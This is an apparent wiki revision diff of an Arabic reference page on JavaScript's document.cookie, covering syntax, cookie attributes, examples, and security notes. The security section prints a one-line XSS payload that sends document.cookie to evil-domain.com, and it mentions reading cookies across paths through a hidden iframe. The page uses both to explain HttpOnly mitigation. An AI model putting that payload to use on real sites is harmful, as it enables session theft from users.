الفرق بين المراجعتين لصفحة: «JavaScript/Document/cookie»
طلا ملخص تعديل |
جميل-بيلوني (نقاش | مساهمات) طلا ملخص تعديل |
||
(8 مراجعات متوسطة بواسطة مستخدمين اثنين آخرين غير معروضة) | |||
سطر 1: | سطر 1: | ||
<noinclude>{{DISPLAYTITLE:<code>Document.cookie</code>}}</noinclude> | <noinclude>{{DISPLAYTITLE:<code>Document.cookie</code>}}</noinclude> | ||
تُستعمل هذه الخاصيّة للحصول على ملفّات الارتباط ( | تُستعمل هذه الخاصيّة للحصول على ملفّات الارتباط (cookies) المُرتبطة بالمُستند الحالي وضبطها، للتعامل مع ملفّات الارتباط ببساطة أكثر، انظر إطار العمل البسيط [https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie/Simple_document.cookie_framework هذا]. | ||
==البنية العامة== | ==البنية العامة== | ||
===الحصول على جميع ملفّات تعريف الارتباط المتاحة=== | ===الحصول على جميع ملفّات تعريف الارتباط المتاحة=== | ||
<syntaxhighlight lang="javascript"> | <syntaxhighlight lang="javascript"> | ||
allCookies = document.cookie; | allCookies = document.cookie; | ||
</syntaxhighlight> | </syntaxhighlight>المُتغيّر <code>allCookies</code> أعلاه عبارة عن سلسلة نصيّة تحتوي على قائمة بجميع ملفات الارتباط مفصولة بفاصلة منقوطة (<code>;</code>)، وهي على شكل <code>مفتاح=قيمة</code>. | ||
المُتغيّر <code>allCookies</code> أعلاه عبارة عن سلسلة نصيّة تحتوي على قائمة بجميع ملفات الارتباط مفصولة بفاصلة منقوطة (<code>;</code>)، وهي على شكل <code>مفتاح=قيمة</code>. | |||
===ضبط ملفّ ارتباط جديد=== | ===ضبط ملفّ ارتباط جديد=== | ||
<syntaxhighlight lang="javascript"> | <syntaxhighlight lang="javascript"> | ||
document.cookie = newCookie; | document.cookie = newCookie; | ||
</syntaxhighlight> | </syntaxhighlight>في الشيفرة أعلاه، المُتغيّر <code>newCookie</code> عبارة عن سلسلة نصيّة على شكل <code>مفتاح=قيمة</code>. لاحظ أنّك تستطيع أن تضبط أو تُحدّث ملفّ ارتباط واحد فقط في كل مرّة باستعمال هذه الطّريقة. وضَع في ذهنك ما يلي كذلك: | ||
في الشيفرة أعلاه، المُتغيّر <code>newCookie</code> عبارة عن سلسلة نصيّة على شكل <code>مفتاح=قيمة</code>. لاحظ أنّك تستطيع أن تضبط أو تُحدّث ملفّ ارتباط واحد فقط في كل مرّة باستعمال هذه الطّريقة. وضَع في ذهنك ما يلي كذلك: | *يُمكن لأيّ من قيم خصائص ملفّات الارتباط التّالية أن تتبَع اختياريًا زوج المفتاح وقيمته، وذلك عبر تحديد ملفّ الارتباط المُرادِ ضبطه أو تحديثه ويجب على قيم الخصائص هذه أن تُسبَق بفاصلة منقوطة كفاصِل: | ||
**<code>;path=path</code> (يقبل قيمًا مثل <code>'/'</code> و<code>'/mydir'</code>)، إن لم تُحدَّد أيّة قيمة، فقيمته الافتراضيّة هي المسار الحاليّ لمكان المُستند الحاليّ. يجب على المسار أن يكون مُطلقًا (absolute)، انظر RFC 6265. للمزيد من المعلومات حول كيفيّة استعمال المسارات النسبيّة (relative paths)، انظر [[JavaScript/Document/cookie#.D8.A7.D8.B3.D8.AA.D8.B9.D9.85.D8.A7.D9.84 .D8.B9.D9.86.D8.A7.D9.88.D9.8A.D9.86 URL .D8.A7.D9.84.D9.86.D9.91.D8.B3.D8.A8.D9.8A.D8.A9 .D9.85.D8.B9 .D8.A7.D9.84.D9.85.D9.8F.D8.B9.D8.A7.D9.85.|هذه الفقرة]]. | |||
* يُمكن لأيّ من قيم خصائص ملفّات الارتباط التّالية أن تتبَع | **<code>;domain=domain</code> (يقبل قيمًا مثل <code>'example.com'</code> أو <code>'subdomain.example.com'</code>). إن لم تحدَّد أيّة قيمة، فقيمته الافتراضيّة هي جزء المُضيف الخاصّ بمكان المُستند الحالي (لا يشمل النّطاقات الفرعيّة). وعلى عكس المُواصفات السّابقة، فالنّقط التي تسبق أسماء النّطاقات (leading dots) ستُتجاهل، لكنّ المتصفحات قد تمنع ضبط ملفّ ارتباط يحتوي على هذه النّقط. إن حُدِّد النّطاق، فالنّطاقات الفرعيّة دائما ما تكون مشمولة. | ||
** <code>;path=path</code> (يقبل | **<code>;max-age=max-age-in-seconds</code> عدد الثواني التي سيكون فيها ملفّ الارتباط صالحًا، يُمكن أن تكون قيمته مثلا <code>60*60*24*365</code> أو <code>31536000</code> ليكون ملفّ الارتباط صالحا لسنة واحدة. | ||
** <code>;domain=domain</code> (يقبل | **<code>;expires=date-in-GMTString-format</code> تُحدّد تاريخ انتهاء صلاحيّة ملفّ الارتباط، إن لم تُضبَط قيمةٍ لأي من <code>expires</code> أو <code>max-age</code> فستنتهي صلاحيّة ملفّ الارتباط في نهاية الجلسة. انظر <code>[[JavaScript/Date/toUTCString|Date.toUTCString()]]</code> لفهم كيفيّة تحويل تاريخٍ إلى قيمة تُمثِّل التاريخ في توقيت UTC (وهي الصّيغة المطلوبة لهذه الخاصيّة). '''مُلاحظة:''' عندما تكون المعلومات الخاصّة بالمُستخدم حسّاسة فمن المهم على تطبيق الويب الخاص بك أن يُنهيَ صلاحيّة بيانات ملفّ الارتباط بعد مُدّة زمنيّة مُعيّنة، لا يجب أبدا الاعتماد على المُتصفح ليُزيل ملفات الارتباط الخاصّة بالجلسة، إذ إنَّ بعض المتصفحات تمنع ملفات الارتباط من أن تنتهي صلاحيّتها أبَدِيًّا. | ||
**<code>;max-age=max-age-in-seconds</code> عدد الثواني التي سيكون فيها ملفّ الارتباط | **<code>;secure</code> السماح لملفّ الارتباط أن ينتقل فقط على بروتوكول آمن مثل https. | ||
** <code>;expires=date-in-GMTString-format</code> تُحدّد تاريخ انتهاء صلاحيّة ملفّ الارتباط، إن لم تُضبَط قيمةٍ لأي من <code>expires</code> أو <code>max-age</code> فستنتهي صلاحيّة ملفّ الارتباط في نهاية الجلسة. انظر <code>[[JavaScript/Date/toUTCString | | *يُمكن للسلسة النصّية التي تُمثّل قيمة ملفّ الارتباط أن تستعمل الدالة [[JavaScript/encodeURIComponent|<code>encodeURIComponent()</code>]] للتأكد من أنّ السلسلة النّصية لا تحتوي على أية فاصلة أو فاصلة منقوطة أو مساحة بيضاء (والتي تعدّ قيمًا غير مسموح بها في قيم ملفّات الارتباط). | ||
** <code>;secure</code> | *بعض المتصفحات تدعم السابِقات التّاليّة لملفّات الارتباط: | ||
* يُمكن للسلسة النصّية التي تُمثّل قيمة ملفّ الارتباط أن تستعمل | **<code>__Secure-</code> تُخبِر المُتصفح بوجوب وضع ملفّات الارتباط المنقولة على قناة آمنة فقط في الطّلبات. | ||
* بعض | **<code>__Host-</code> تُخبِر المُتصفح بأنّ امتداد ملفّ الارتباط محدود في مسار يُمنح من طرف الخادم إضافةً إلى وجوب كون ملفّ الارتباط من أصل آمن. إن لم يمنح الخادم المسار، فستُستعمل قيمة عنوان URI الخاصّ بمُجلّد الطّلب. وتُخبر كذلك المُتصفحَ بأنّ خاصّية النّطاق <code>domain</code> لا يجب أن تُضبَط، ما يمنع إرسال ملفّ الارتباط إلى نطاق آخر. يجب على خاصّية المسار <code>path</code> أن تُساويَ دائمًا الأصل في مُتصفّح Chrome. '''مُلاحظة:''' تعدّ الشرطة (-) جزءًا من السّابقة (prefix). ويُمكن لهذه السّابقات أن تُضبط فقط في حالة ضُبِطت الخاصيّة <code>secure</code> كذلك. | ||
** <code>__Secure-</code> تُخبِر المُتصفح بوجوب وضع ملفّات الارتباط المنقولة على قناة آمنة فقط في الطّلبات. | مُلاحظة: كما ترى من الشيفرة أعلاه، الخاصيّة <code>document.cookie</code> عبارة عن خاصيّة وصول ([[JavaScript/Object/defineProperty#.D8.A7.D9.84.D9.88.D8.B5.D9.81|accessor property]])، وفيها دالة [[JavaScript/get|getter]] ودالة [[JavaScript/set|setter]]، ما يعني أنّها ليست خاصيّة بيانات ([[JavaScript/Object/defineProperty#.D8.A7.D9.84.D9.88.D8.B5.D9.81|data property]]) ذات قيمة: أي أنّ ما تكتبُه ليس نفسه ما تقرأه، ويتوسّط مُفسّر JavaScript في كلّ شيء على الدّوام. | ||
** <code>__Host-</code> تُخبِر المُتصفح بأنّ امتداد ملفّ الارتباط محدود في مسار يُمنح من طرف | |||
مُلاحظة: كما ترى من الشيفرة أعلاه، الخاصيّة document.cookie عبارة عن خاصيّة وصول ([[JavaScript/Object/defineProperty#.D8.A7.D9.84.D9.88.D8.B5.D9.81|accessor property]])، | |||
==أمثلة== | ==أمثلة== | ||
=== | ===استعمال بسيط للخاصية=== | ||
<syntaxhighlight lang="javascript"> | <syntaxhighlight lang="javascript"> | ||
document.cookie = "name=oeschger"; | document.cookie = "name=oeschger"; | ||
سطر 35: | سطر 29: | ||
alert(document.cookie); | alert(document.cookie); | ||
} | } | ||
</syntaxhighlight>شيفرة [[HTML]]:<syntaxhighlight lang="html"> | |||
<button onclick="alertCookie()">اعرض ملفّات الارتباط</button> | |||
</syntaxhighlight> | </syntaxhighlight> | ||
===الحصول على ملف ارتباط باسم <code>test2</code>=== | |||
=== | |||
<syntaxhighlight lang="javascript"> | <syntaxhighlight lang="javascript"> | ||
document.cookie = "test1=Hello"; | document.cookie = "test1=Hello"; | ||
سطر 51: | سطر 42: | ||
alert(cookieValue); | alert(cookieValue); | ||
} | } | ||
</syntaxhighlight>شيفرة HTML:<syntaxhighlight lang="html"> | |||
<button onclick="alertCookieValue()">اعرِض قيمة ملفّ الارتباط</button> | |||
</syntaxhighlight> | </syntaxhighlight> | ||
===القيام بعمليةٍ ما لمرة واحدة فقط=== | |||
لاستعمال الشّيفرة التّالية، تأكّد من إبدال جميع مواضِع اسم ملفّ الارتباط <code>doSomethingOnlyOnce</code>، باسم ملفّ الارتباط الخاص بك.<syntaxhighlight lang="javascript"> | |||
= | |||
لاستعمال الشّيفرة التّالية، تأكّد من إبدال جميع مواضِع اسم ملفّ الارتباط <code>doSomethingOnlyOnce</code>، باسم ملفّ الارتباط الخاص بك. | |||
<syntaxhighlight lang="javascript"> | |||
function doOnce() { | function doOnce() { | ||
if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") { | if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") { | ||
سطر 67: | سطر 53: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight>شيفرة HTML:<syntaxhighlight lang="html"> | ||
<syntaxhighlight lang="html"> | |||
<button onclick="doOnce()">أجرِ عمليّة لمرّة واحدة فقط</button> | <button onclick="doOnce()">أجرِ عمليّة لمرّة واحدة فقط</button> | ||
</syntaxhighlight> | </syntaxhighlight> | ||
===إعادة ضبط ملف الارتباط السابق=== | |||
=== | |||
<syntaxhighlight lang="javascript"> | <syntaxhighlight lang="javascript"> | ||
function resetOnce() { | function resetOnce() { | ||
document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT"; | document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT"; | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight>شيفرة HTML:<syntaxhighlight lang="html"> | ||
<syntaxhighlight lang="html"> | |||
<button onclick="doOnce()">أعد ضبط ملفّ الارتباط الخاصّ بإجراء عمليّة لمرّة واحدة فقط</button> | <button onclick="doOnce()">أعد ضبط ملفّ الارتباط الخاصّ بإجراء عمليّة لمرّة واحدة فقط</button> | ||
</syntaxhighlight> | </syntaxhighlight> | ||
===التحقق من وجود ملف ارتباط=== | |||
=== | تتحقّق الشّيفرة أسفله من وجود ملفّ ارتباط باسم <code>"reader"</code>.<syntaxhighlight lang="javascript"> | ||
تتحقّق الشّيفرة أسفله من وجود ملفّ ارتباط باسم <code>"reader"</code>. | |||
<syntaxhighlight lang="javascript"> | |||
if (document.cookie.split(';').indexOf('reader=') >= 0) { | if (document.cookie.split(';').indexOf('reader=') >= 0) { | ||
console.log('ملفّ الارتباط موجود') | console.log('ملفّ الارتباط موجود') | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
===التحقق من أن ملف ارتباط يحمل قيمة محددة=== | |||
=== | تتحقّق الشّيفرة أسفله من أنّ ملفّ الارتباط ذا الاسم <code>"reader"</code> يحمل القيمة <code>1</code>.<syntaxhighlight lang="javascript"> | ||
تتحقّق الشّيفرة أسفله من أنّ ملفّ الارتباط ذا <code>"reader"</code> يحمل القيمة <code>1</code>. | |||
<syntaxhighlight lang="javascript"> | |||
if (document.cookie.split(';').indexOf('reader=1') >= 0) { | if (document.cookie.split(';').indexOf('reader=1') >= 0) { | ||
console.log('قيمة ملفّ الارتباط هي 1') | console.log('قيمة ملفّ الارتباط هي 1') | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==الحماية== | ==الحماية== | ||
من المُهمّ التنويه إلى أنّ خاصيّة المسار لا تحمي ضدّ قراءة ملفّ الارتباط بشكل غير مُصرَّح به من مسار مُختلف. يُمكن تجاوز هذا القيد بسهولة عبر استخدام خصائص DOM، على سبيل المثال، يُمكن القيام بذلك عبر إنشاء عنصر <code>iframe</code> مخفي بمسار ملفّ الارتباط، ثمّ الوصول إلى خاصيّة <code>contentDocument.cookie</code> الخاصّة بعنصر <code>iframe</code>. الطريقة الوحيدة لحماية ملفّ الارتباط هي باستعمال نطاق مُختلف أو نطاق فرعي، وذلك بسبب | من المُهمّ التنويه إلى أنّ خاصيّة المسار لا تحمي ضدّ قراءة ملفّ الارتباط بشكل غير مُصرَّح به من مسار مُختلف. يُمكن تجاوز هذا القيد بسهولة عبر استخدام خصائص DOM، على سبيل المثال، يُمكن القيام بذلك عبر إنشاء عنصر <code>iframe</code> مخفي بمسار ملفّ الارتباط، ثمّ الوصول إلى خاصيّة <code>contentDocument.cookie</code> الخاصّة بعنصر <code>iframe</code>. الطريقة الوحيدة لحماية ملفّ الارتباط هي باستعمال نطاق مُختلف أو نطاق فرعي، وذلك بسبب سياسَة الأصل الواحد. | ||
تُستعمل ملفّات الارتباط في تطبيقات الويب عادةً للتعرّف على مُستخدم وجلسة الاستيثاق (authenticated session) الخاصّة به. لذا فسرِقة ملفّ الارتباط من تطبيق ويب سيؤدّي إلى | تُستعمل ملفّات الارتباط في تطبيقات الويب عادةً للتعرّف على مُستخدم وجلسة الاستيثاق (authenticated session) الخاصّة به. لذا فسرِقة ملفّ الارتباط من تطبيق ويب سيؤدّي إلى سرقة جلسة المُستخدم الذي سجّل دخوله. الطرائق الشّائعة لسرقة ملفّات الارتباط تشمل الهندسة الاجتماعيّة أو عبر استغلال ثغرة XSS في التّطبيق. انظر المثال التّالي:<syntaxhighlight lang="javascript"> | ||
<syntaxhighlight lang="javascript"> | |||
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; | (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; | ||
</syntaxhighlight> | </syntaxhighlight>يُمكن تخفيف خطر هذا الهجوم عبر ملفّ الارتباط <code>HTTPOnly</code> عن طريق منع الحصول على قيمة ملفّ الارتباط من خلال JavaScript. للاستزادة، انظر إلى [http://www.nczonline.net/blog/2009/05/12/cookies-and-security/ Cookies and Security]. | ||
يُمكن تخفيف خطر هذا الهجوم عبر ملفّ الارتباط <code>HTTPOnly</code> عن طريق منع الحصول على قيمة ملفّ الارتباط من خلال | |||
==ملاحظات== | ==ملاحظات== | ||
* | *بدءًا من فايرفوكس 2، هناك طريقة أفضل لتخزين المعلومات على جهة العميل، وذلك عبر استعمال [[JavaScript/Storage|تخزين DOM]]. | ||
* يُمكنك ببساطة حذف ملفّ ارتباط عبر تحديث تاريخ نهاية صلاحيّته إلى صِفر. | *يُمكنك ببساطة حذف ملفّ ارتباط عبر تحديث تاريخ نهاية صلاحيّته إلى صِفر. | ||
* تذكّر بأنّه كلّما زاد عدد ملفّات الارتباط لديك، كلّما وجَب نقل بياناتٍ أكثر بين الخادوم والعميل لكل طلب. مما سيُبطئ الطّلبات. لذا من المنصوح به جدّا استعمال [[JavaScript | *تذكّر بأنّه كلّما زاد عدد ملفّات الارتباط لديك، كلّما وجَب نقل بياناتٍ أكثر بين الخادوم والعميل لكل طلب. مما سيُبطئ الطّلبات. لذا من المنصوح به جدّا استعمال [[JavaScript/Storage|تخزين DOM]] إن كانت لديك بيانات تُريد تخزينها على جهة العميل فقط. | ||
* تُحدّد مواصفة [http://www.ietf.org/rfc/rfc2965.txt RFC 2965] (الفقرة 5.3) بأنّه لا يجب أن يكون لقيمةِ أو مفتاحِ ملف ارتباطٍ طول أقصى (maximum length)، وتُشجّع كلّ مُتصفح على دعم ملفّات ارتباط كبيرة ذات حجم اعتباطي. الطول الأقصى يكون | *تُحدّد مواصفة [http://www.ietf.org/rfc/rfc2965.txt RFC 2965] (الفقرة 5.3) بأنّه لا يجب أن يكون لقيمةِ أو مفتاحِ ملف ارتباطٍ طول أقصى (maximum length)، وتُشجّع كلّ مُتصفح على دعم ملفّات ارتباط كبيرة ذات حجم اعتباطي. الطول الأقصى يكون مُختلفًا حسب المُتصفّح، لذا انظر توثيق كلّ متصفّح بشأن هذا الأمر. | ||
سبب البنية العامّة لخاصيّة الوصول <code>document.cookie</code> يرجِع إلى طبيعة ملفّات الارتباط التي تعتمد على صيغة خادم-عميل، ما يختلف عن طرق تخزين أخرى تعتمد على صيغة عميل-عميل كالتّخزين المحلي (<code>localStorage</code>) مثلًا. | |||
سبب البنية العامّة لخاصيّة الوصول <code>document.cookie</code> يرجِع إلى طبيعة ملفّات الارتباط التي تعتمد على صيغة | |||
يأمر الخادمُ العميلَ بتخزين ملفّ ارتباط كما يلي:<syntaxhighlight lang="http"> | |||
<syntaxhighlight lang="http"> | |||
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT | HTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT | ||
[مُحتويات الصّفحة هنا] | [مُحتويات الصّفحة هنا] | ||
</syntaxhighlight> | </syntaxhighlight>يُعيد العميل إرسال ملفّ الارتباط الذي خزّنه مُسبقا إلى الخادم:<syntaxhighlight lang="http"> | ||
<syntaxhighlight lang="http"> | |||
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */* | GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */* | ||
</syntaxhighlight> | </syntaxhighlight> | ||
===استعمال عناوين URL النّسبية مع المُعامل <code>path</code>=== | |||
=== استعمال عناوين URL النّسبية مع المُعامل <code>path</code> === | |||
يقبل المُعامل <code>path</code> الخاصّ بملفّ ارتباط جديد المسارات المُطلقة فقط. إن أردت استعمال المسارات النّسبية، فستحتاج إلى تحويلها إلى مسارات مُطلقة. يُمكن للدّالة التّالية ترجمة المسارات النّسبية إلى مسارات مُطلقة. وهي دالة مُتعدّدة الأغراض (أي أنّها ليست متعلّقة بملفات الارتباط فقط)، لكنّك تستطيع استعمالها مع المُعامل <code>path</code> الخاصّ بملفّ ارتباط جديد بنجاح كذلك. | يقبل المُعامل <code>path</code> الخاصّ بملفّ ارتباط جديد المسارات المُطلقة فقط. إن أردت استعمال المسارات النّسبية، فستحتاج إلى تحويلها إلى مسارات مُطلقة. يُمكن للدّالة التّالية ترجمة المسارات النّسبية إلى مسارات مُطلقة. وهي دالة مُتعدّدة الأغراض (أي أنّها ليست متعلّقة بملفات الارتباط فقط)، لكنّك تستطيع استعمالها مع المُعامل <code>path</code> الخاصّ بملفّ ارتباط جديد بنجاح كذلك. | ||
====المكتبة==== | ====المكتبة==== | ||
<syntaxhighlight lang="javascript"> | <syntaxhighlight lang="javascript"> | ||
سطر 156: | سطر 121: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
====طريقة الاستعمال==== | ====طريقة الاستعمال==== | ||
نفترض أنّنا في المسار <code>/ | نفترض أنّنا في المسار <code>/JavaScript/Document/document.cookie</code>، التّعليقات أسفل كلّ استدعاءٍ لنافذة التنبيه تُمثّل القيمة المُعادة.<syntaxhighlight lang="javascript"> | ||
/* Let us be in /JavaScript/Document/document.cookie */ | |||
<syntaxhighlight lang="javascript"> | |||
/* Let us be in / | |||
console.log(location.pathname); | |||
// / | // /JavaScript/Document/cookie | ||
console.log(relPathToAbs("./")); | |||
// / | // /JavaScript/Document/ | ||
console.log(relPathToAbs("../Object/toString")); | |||
// / | // /JavaScript/Object/toString | ||
console.log(relPathToAbs("../../Bootstrap")); | |||
// / | // /Bootstrap | ||
console.log(relPathToAbs("../Object/./toString/../../../Bootstrap")); | |||
// / | // /Bootstrap | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==أمثلة أخرى== | ==أمثلة أخرى== | ||
===مكتبة عامة لتنفيذ عملية لمرة واحدة فقط=== | |||
=== | |||
====المكتبة==== | ====المكتبة==== | ||
<syntaxhighlight lang="javascript"> | <syntaxhighlight lang="javascript"> | ||
سطر 198: | سطر 157: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
====البنية العامة==== | ====البنية العامة==== | ||
<syntaxhighlight lang="javascript"> | <syntaxhighlight lang="javascript"> | ||
executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, …[, argumentToPassN]]]]], identifier[, onlyHere]) | executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, …[, argumentToPassN]]]]], identifier[, onlyHere]) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
====الوصف==== | ====الوصف==== | ||
تُنفِّذ عمليّةً مرّةً واحدةً فقط، حتى بعد تحديث الصّفحة. | تُنفِّذ عمليّةً مرّةً واحدةً فقط، حتى بعد تحديث الصّفحة. | ||
====المُعاملات==== | ====المُعاملات==== | ||
<code>callback</code> | <code>callback</code> | ||
: الدّالة المُراد تنفيذها ([[JavaScript/function|function]]). | :الدّالة المُراد تنفيذها ([[JavaScript/function|function]]). | ||
<code>thisObject</code> | <code>thisObject</code> | ||
: الكائن [[JavaScript/this|this]] (إمّا [[JavaScript/Object|Object]] أو [[JavaScript/null|null]]). وهو مُعامل اختياريّ. | :الكائن <code>[[JavaScript/this|this]]</code> (إمّا <code>[[JavaScript/Object|Object]]</code> أو <code>[[JavaScript/null|null]]</code>). وهو مُعامل اختياريّ. | ||
<code>argumentToPass1, argumentToPass2, argumentToPassN</code> | <code>argumentToPass1, argumentToPass2, argumentToPassN</code> | ||
: مُعاملات الدّالة <code>callback</code>. وهي مُعاملات اختياريّة. | :مُعاملات الدّالة <code>callback</code>. وهي مُعاملات اختياريّة. | ||
<code>identifier</code> | <code>identifier</code> | ||
: المُعرّف الذي | :المُعرّف الذي يُتحقّق منه، أي اسم ملفّ الارتباط (<code>[[JavaScript/String|string]]</code>). | ||
<code>onlyHere</code> | <code>onlyHere</code> | ||
: قيمة منطقيّة [[JavaScript/ | :قيمة منطقيّة <code>[[JavaScript/Boolean|Boolean]]</code> تُعبّر عمّا إذا كان ملفّ الارتباط سيستعمل المسار المحليّ (أي القيمة <code>true</code>) عوضا عن المسار العمومي (القيمة <code>false</code> أو <code>undefined</code>)، (إمّا <code>[[JavaScript/Boolean|boolean]]</code> أو <code>[[JavaScript/undefined|undefined]]</code>). وهو مُعامل اختياريّ. | ||
====طريقة الاستعمال==== | ====طريقة الاستعمال==== | ||
<syntaxhighlight lang="javascript"> | <syntaxhighlight lang="javascript"> | ||
سطر 231: | سطر 182: | ||
executeOnce(alertSomething, null, "مرحبًا بالعالم", "alert_something"); | executeOnce(alertSomething, null, "مرحبًا بالعالم", "alert_something"); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==دعم المتصفحات== | |||
== دعم المتصفحات == | |||
{| class="wikitable" | {| class="wikitable" | ||
!الميزة | !الميزة | ||
سطر 242: | سطر 192: | ||
!Safari | !Safari | ||
|- | |- | ||
! الدعم الأساسي | !الدعم الأساسي | ||
|نعم | |نعم | ||
|نعم | |نعم | ||
سطر 258: | سطر 208: | ||
|نعم | |نعم | ||
|- | |- | ||
!السّابقتان <code> | !السّابقتان <code>__Host-</code> و<code>__Secure-</code> | ||
|49 | |49 | ||
|؟ | |؟ | ||
سطر 266: | سطر 216: | ||
|نعم | |نعم | ||
|} | |} | ||
==مصادر ومواصفات== | ==مصادر ومواصفات== | ||
* مواصفة [https://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-8747038 Document Object Model (DOM) Level 2 HTML Specification] | *مواصفة [https://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-8747038 Document Object Model (DOM) Level 2 HTML Specification] | ||
* مواصفة [https://tools.ietf.org/html/draft-west-cookie-prefixes-05 Cookie Prefixes] | *مواصفة [https://tools.ietf.org/html/draft-west-cookie-prefixes-05 Cookie Prefixes] | ||
[[تصنيف:JavaScript]] | [[تصنيف:JavaScript]] | ||
[[تصنيف:Web API]] | [[تصنيف:Web API]] | ||
[[تصنيف:DOM]] | [[تصنيف:DOM]] | ||
[[تصنيف:Document]] | [[تصنيف:Document]] |
المراجعة الحالية بتاريخ 14:34، 7 أكتوبر 2022
تُستعمل هذه الخاصيّة للحصول على ملفّات الارتباط (cookies) المُرتبطة بالمُستند الحالي وضبطها، للتعامل مع ملفّات الارتباط ببساطة أكثر، انظر إطار العمل البسيط هذا.
البنية العامة
الحصول على جميع ملفّات تعريف الارتباط المتاحة
allCookies = document.cookie;
المُتغيّر allCookies
أعلاه عبارة عن سلسلة نصيّة تحتوي على قائمة بجميع ملفات الارتباط مفصولة بفاصلة منقوطة (;
)، وهي على شكل مفتاح=قيمة
.
ضبط ملفّ ارتباط جديد
document.cookie = newCookie;
في الشيفرة أعلاه، المُتغيّر newCookie
عبارة عن سلسلة نصيّة على شكل مفتاح=قيمة
. لاحظ أنّك تستطيع أن تضبط أو تُحدّث ملفّ ارتباط واحد فقط في كل مرّة باستعمال هذه الطّريقة. وضَع في ذهنك ما يلي كذلك:
- يُمكن لأيّ من قيم خصائص ملفّات الارتباط التّالية أن تتبَع اختياريًا زوج المفتاح وقيمته، وذلك عبر تحديد ملفّ الارتباط المُرادِ ضبطه أو تحديثه ويجب على قيم الخصائص هذه أن تُسبَق بفاصلة منقوطة كفاصِل:
-
;path=path
(يقبل قيمًا مثل'/'
و'/mydir'
)، إن لم تُحدَّد أيّة قيمة، فقيمته الافتراضيّة هي المسار الحاليّ لمكان المُستند الحاليّ. يجب على المسار أن يكون مُطلقًا (absolute)، انظر RFC 6265. للمزيد من المعلومات حول كيفيّة استعمال المسارات النسبيّة (relative paths)، انظر هذه الفقرة. -
;domain=domain
(يقبل قيمًا مثل'example.com'
أو'subdomain.example.com'
). إن لم تحدَّد أيّة قيمة، فقيمته الافتراضيّة هي جزء المُضيف الخاصّ بمكان المُستند الحالي (لا يشمل النّطاقات الفرعيّة). وعلى عكس المُواصفات السّابقة، فالنّقط التي تسبق أسماء النّطاقات (leading dots) ستُتجاهل، لكنّ المتصفحات قد تمنع ضبط ملفّ ارتباط يحتوي على هذه النّقط. إن حُدِّد النّطاق، فالنّطاقات الفرعيّة دائما ما تكون مشمولة. -
;max-age=max-age-in-seconds
عدد الثواني التي سيكون فيها ملفّ الارتباط صالحًا، يُمكن أن تكون قيمته مثلا60*60*24*365
أو31536000
ليكون ملفّ الارتباط صالحا لسنة واحدة. ;expires=date-in-GMTString-format
تُحدّد تاريخ انتهاء صلاحيّة ملفّ الارتباط، إن لم تُضبَط قيمةٍ لأي منexpires
أوmax-age
فستنتهي صلاحيّة ملفّ الارتباط في نهاية الجلسة. انظرDate.toUTCString()
لفهم كيفيّة تحويل تاريخٍ إلى قيمة تُمثِّل التاريخ في توقيت UTC (وهي الصّيغة المطلوبة لهذه الخاصيّة). مُلاحظة: عندما تكون المعلومات الخاصّة بالمُستخدم حسّاسة فمن المهم على تطبيق الويب الخاص بك أن يُنهيَ صلاحيّة بيانات ملفّ الارتباط بعد مُدّة زمنيّة مُعيّنة، لا يجب أبدا الاعتماد على المُتصفح ليُزيل ملفات الارتباط الخاصّة بالجلسة، إذ إنَّ بعض المتصفحات تمنع ملفات الارتباط من أن تنتهي صلاحيّتها أبَدِيًّا.-
;secure
السماح لملفّ الارتباط أن ينتقل فقط على بروتوكول آمن مثل https.
-
- يُمكن للسلسة النصّية التي تُمثّل قيمة ملفّ الارتباط أن تستعمل الدالة
encodeURIComponent()
للتأكد من أنّ السلسلة النّصية لا تحتوي على أية فاصلة أو فاصلة منقوطة أو مساحة بيضاء (والتي تعدّ قيمًا غير مسموح بها في قيم ملفّات الارتباط). - بعض المتصفحات تدعم السابِقات التّاليّة لملفّات الارتباط:
-
__Secure-
تُخبِر المُتصفح بوجوب وضع ملفّات الارتباط المنقولة على قناة آمنة فقط في الطّلبات. -
__Host-
تُخبِر المُتصفح بأنّ امتداد ملفّ الارتباط محدود في مسار يُمنح من طرف الخادم إضافةً إلى وجوب كون ملفّ الارتباط من أصل آمن. إن لم يمنح الخادم المسار، فستُستعمل قيمة عنوان URI الخاصّ بمُجلّد الطّلب. وتُخبر كذلك المُتصفحَ بأنّ خاصّية النّطاقdomain
لا يجب أن تُضبَط، ما يمنع إرسال ملفّ الارتباط إلى نطاق آخر. يجب على خاصّية المسارpath
